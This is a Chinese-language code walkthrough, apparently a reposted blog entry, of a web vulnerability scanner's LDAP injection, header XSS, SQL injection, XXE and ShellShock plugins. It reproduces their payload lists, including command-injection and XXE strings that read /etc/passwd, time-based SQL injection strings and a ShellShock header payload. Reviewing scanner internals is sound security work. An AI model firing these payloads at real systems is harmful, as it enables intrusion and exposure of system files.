	payload += ["%secho \"%s\""%(quote_plus("||"),r_string(30))]
	payload += ["\techo \"%s\""%(r_string(30))]
	payload += ["\t\techo \"%s\""%(r_string(30))]
	payload += ["%s\"/bin/cat /etc/passwd\""%quote_plus('|')]
	payload += ["%s\"/etc/passwd\""%quote_plus('|')]
	return payload

plugins/attacks/ldapi.py

代码结构与 bufferoverflow.py 类似。

payload 在 lib/utils/payload.py:197:

def ldap():
	""" LDAP Injection """
	payload = ["!"]
	payload += ["%29"]
	payload += ["%21"]
	payload += ["%28"]
	payload += ["%26"]
	payload += ["("]
	payload += [")"]
	payload += ["@\'"]
	payload += ["*()|&'"]
	payload += ["%s*"%r_string(10)]
	payload += ["*(|(%s=*))"%r_string(10)]
	payload += ["%s*)((|%s=*)"%(r_string(10),r_string(10))] 
	payload += [r"%2A%28%7C%28"+r_string(10)+r"%3D%2A%29%29"]
	return payload

用于匹配的模式在 lib/db/errors/xpath.json:

{
    "info":{
        "name":"LDAP",
        "regexp":[
            "supplied argument is not a valid ldap",
            "javax\.naming\.NameNotFoundException",
            "javax\.naming\.directory\.InvalidSearchFilterException",
            "Invalid DN syntax",
            "LDAPException*",
            "Module Products\.LDAPMultiPlugins",
            "IPWorksASP\.LDAP",
            "Local error occurred",
            "Object does not exist",
            "An inappropriate matching occurred"
        ]
    }
}

plugins/attacks/headerxss.py

检查存在于头部字段的XSS,包括 cookie 字段, referer 字段, useragent 字段。其实就是拿xss的payload放在对应的位置再打一圈。话说这个位置的xss危害不大吧。。

class headerxss(Request):
	""" Cross-Site Scripting (XSS) in headers value """
	get = "GET"
	def __init__(self,kwargs,url,data):
		Request.__init__(self,kwargs)
		self.url = url 
		self.data = data

	def run(self):
		"""Run"""
		info('Checking XSS on Headers..')
		self.cookie()
		self.referer()
		self.useragent()

	def cookie(self):
		""" Check cookie """
		for payload in pxss():
			headers = {
						'Cookie':'{}'.format(payload)
			}
			req = self.Send(url=self.url,method=self.get,headers=headers)
			# search payload in content
			if search(payload,req.content):
				plus("A potential \"Cross-Site Scripting (XSS)\" was found at cookie header value:")
				more("URL: {}".format(req.url))
				more("PAYLOAD: {}".format(payload))

	def referer(self):
		""" Check referer """
		for payload in pxss():
			headers = {
						'Referer':'{}'.format(payload)
			}
			req = self.Send(url=self.url,method=self.get,headers=headers)
			# search payload in content
			if search(payload,req.content):
				plus("A potential \"Cross-Site Scripting (XSS)\" was found at referer header value:")
				more("URL: {}".format(req.url))
				more("PAYLOAD: {}".format(payload))

	def useragent(self):
		""" Check user-agent """
		for payload in pxss():
			headers = {
						'User-Agent':'{}'.format(payload)
			}
			req = self.Send(url=self.url,method=self.get,headers=headers)
			# search payload in content
			if search(payload,req.content):
				plus("A potential \"Cross-Site Scripting (XSS)\" was found at user-agent header value:")
				more("URL: {}".format(req.url))
				more("PAYLOAD: {}".format(payload))

plugins/attacks/sqli.py

代码结构与 bufferoverflow.py 类似。

payload 在 lib/utils/payload.py:101:

def sql():
	"""Generic SQL"""
	payload = ["\'"]
	payload += ["\\\'"]
	payload += ["||\'"]
	payload += ["1\'1"]
	payload += ["-%s"%(r_time())]
	payload += ["\'%s"%(r_time())]
	payload += ["%s\'"%(r_string(10))]
	payload += ["\\\"%s"%(r_string(10))]
	payload += ["%s=\'%s"%(r_time(),r_time())]
	payload += ["))\'+OR+%s=%s"%(r_time(),r_time())]
	payload += ["))) AND %s=%s"%(r_time(),r_time())]
	payload += ["; OR \'%s\'=\'%s\'"%(r_time(),r_time())]
	payload += ["\'OR \'))%s=%s --"%(r_time(),r_time())]
	payload += ["\'AND \')))%s=%s --#"%(r_time(),r_time())]
	payload += [" %s 1=1 --"%(r_string(20))]
	payload += [" or sleep(%s)=\'"%(r_time())]
	payload += ["%s' AND userid IS NULL; --"%(r_string(10))]
	payload += ["\") or pg_sleep(%s)--"%(r_time())]
	payload += ["; exec (\'sel\' + \'ect us\' + \'er\')"]
	return payload

用于匹配的模式在 lib/db/sqldberror/ 下。略过不提。

plugins/attacks/xxe.py

代码结构与 htmli.py 类似。发送请求,然后匹配 if search(payload,req.content): 。个人看法,匹配效果较差。

payload在 lib/utils/payload.py:33:

def xxep():
	""" XML External Entity"""
	payload  = ['<!DOCTYPE foo [<!ENTITY xxe7eb97 SYSTEM "file:///etc/passwd"> ]>']
	payload += ['<!DOCTYPE foo [<!ENTITY xxe7eb97 SYSTEM "file:///c:/boot.ini"> ]>']
	payload += ['<!DOCTYPE foo [<!ENTITY xxe46471 SYSTEM "file:///etc/passwd"> ]>']
	payload += ['<!DOCTYPE foo [<!ENTITY xxe46471 SYSTEM "file:///c:/boot.ini"> ]>']
	payload += ['<?xml version="1.0"?><change-log><text>root:/bin/bash</text></change-log>']
	payload += ['<?xml version="1.0"?><change-log><text>default=multi(0)disk(0)rdisk(0)partition(1)</text></change-log>']
	return payload

plugins/attacks/bashi.py

bash注入,但是这里只检测了GET方法,POST请求并不检查!另外这里在 头部的 User-AgentReferer 字段插入了payload。

class bashi(Request):
	"""Bash Command Injection (ShellShock)"""
	get = "GET"
	def __init__(self,kwargs,url,data):
		Request.__init__(self,kwargs)
		self.url = url
		self.data = data

	def run(self):
		"""Run"""
		info('Checking Bash Command Injection...')
		for payload in bash():
			# user-agent and referer header add the payload
			user_agent = {'User-Agent':'() { :;}; echo; echo; %s;'%payload,
						  'Referer':'() { :;}; echo; echo; %s;'%payload
						  }
			# send request
			req = self.Send(url=self.url,method=self.get,headers=user_agent)
			# split payload
			if '\"' in payload: payload = payload.split('"')[1]
			# search root:/bin/ba[sh] or payload in content
			if search(r"root:/bin/[bash|sh]|"+payload,req.content):
				plus("A potential \"Bash Command Injection\" was found via HTTP User-Agent header (ShellShock)")
				more("URL: {}".format(self.url))
				more("PAYLOAD: {}".format('() { :;}; echo; echo; %s;'%(payload)))
				break

payload定义在:

def bash():
	"""Basic Bash Command Injection """
	payload  = ["/bin/cat /etc/passwd"]
	payload += ["/etc/passwd"]
	payload += ["/et*/passw?"]
	payload += ["/ca?/bi? /et?/passw?"]
	payload += ["/et*/pa??wd"]
	payload += ["cat /etc/passwd"]
	payload += ["/bi*/echo \"%s\""%(r_string(10))]
	return payload

先休息一下。。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Web Designer's Idea Book, Vol. 2

The Web Designer's Idea Book, Vol. 2

Patrick McNeil / How / 2010-9-19 / USD 30.00

Web Design Inspiration at a Glance Volume 2 of The Web Designer's Idea Book includes more than 650 new websites arranged thematically, so you can easily find inspiration for your work. Auth......一起来看看 《The Web Designer's Idea Book, Vol. 2》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

随机密码生成器
随机密码生成器

多种字符组合密码